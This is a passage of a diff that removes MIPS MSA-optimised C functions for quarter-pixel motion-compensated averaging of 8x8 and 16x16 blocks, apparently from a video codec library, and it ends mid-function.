-static void hv_mc_qpel_avg_dst_aver_hv_src00_16x16_msa(const uint8_t *src,
-                                                       int32_t src_stride,
-                                                       uint8_t *dst,
-                                                       int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src0_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_avg_dst_aver_src0_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_hv_src00_8x8_msa(const uint8_t *src,
-                                                     int32_t src_stride,
-                                                     uint8_t *dst,
-                                                     int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 dst0, dst1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz1, (v2i64) horiz0);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    res0 = __msa_aver_u_b(avg0, res0);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz3, (v2i64) horiz2);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz5, (v2i64) horiz4);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    res0 = __msa_aver_u_b(avg0, res0);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz7, (v2i64) horiz6);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_v_src0_16x16_msa(const uint8_t *src,
-                                                     int32_t src_stride,
-                                                     uint8_t *dst,
-                                                     int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_avg_dst_aver_src0_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_v_src0_8x8_msa(const uint8_t *src,
-                                                   int32_t src_stride,
-                                                   uint8_t *dst,
-                                                   int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 dst0, dst1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    horiz2 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    horiz4 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz1, (v2i64) horiz0);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    res0 = __msa_aver_u_b(avg0, res0);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz6 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz3, (v2i64) horiz2);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp0 = LD_UB(src);
-    horiz8 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0,
-                                                mask0, mask1, mask2, mask3,
-                                                const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz5, (v2i64) horiz4);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    res0 = __msa_aver_u_b(avg0, res0);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz7, (v2i64) horiz6);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_hv_src10_16x16_msa(const uint8_t *src,
-                                                       int32_t src_stride,
-                                                       uint8_t *dst,
-                                                       int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src1_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_avg_dst_aver_src0_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_hv_src10_8x8_msa(const uint8_t *src,
-                                                     int32_t src_stride,
-                                                     uint8_t *dst,
-                                                     int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 dst0, dst1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz1, (v2i64) horiz0);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    res0 = __msa_aver_u_b(avg0, res0);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz3, (v2i64) horiz2);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    inp0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) inp0, 1);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz5, (v2i64) horiz4);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    res0 = __msa_aver_u_b(avg0, res0);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz7, (v2i64) horiz6);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_h_src0_16x16_msa(const uint8_t *src,
-                                                     int32_t src_stride,
-                                                     uint8_t *dst,
-                                                     int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src0_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_avg_dst_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_h_src0_8x8_msa(const uint8_t *src,
-                                                   int32_t src_stride,
-                                                   uint8_t *dst,
-                                                   int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 dst0, dst1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_16x16_msa(const uint8_t *src, int32_t src_stride,
-                                         uint8_t *dst, int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_avg_dst_16x16_msa(buff, 16, dst, dst_stride);
-
-}
-
-static void hv_mc_qpel_avg_dst_8x8_msa(const uint8_t *src, int32_t src_stride,
-                                       uint8_t *dst, int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 dst0, dst1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    horiz2 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    horiz4 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz6 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    inp0 = LD_UB(src);
-    horiz8 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0,
-                                                mask0, mask1, mask2, mask3,
-                                                const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_h_src1_16x16_msa(const uint8_t *src,
-                                                     int32_t src_stride,
-                                                     uint8_t *dst,
-                                                     int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src1_16x16_msa(src, src_stride, buff, 16, 16);
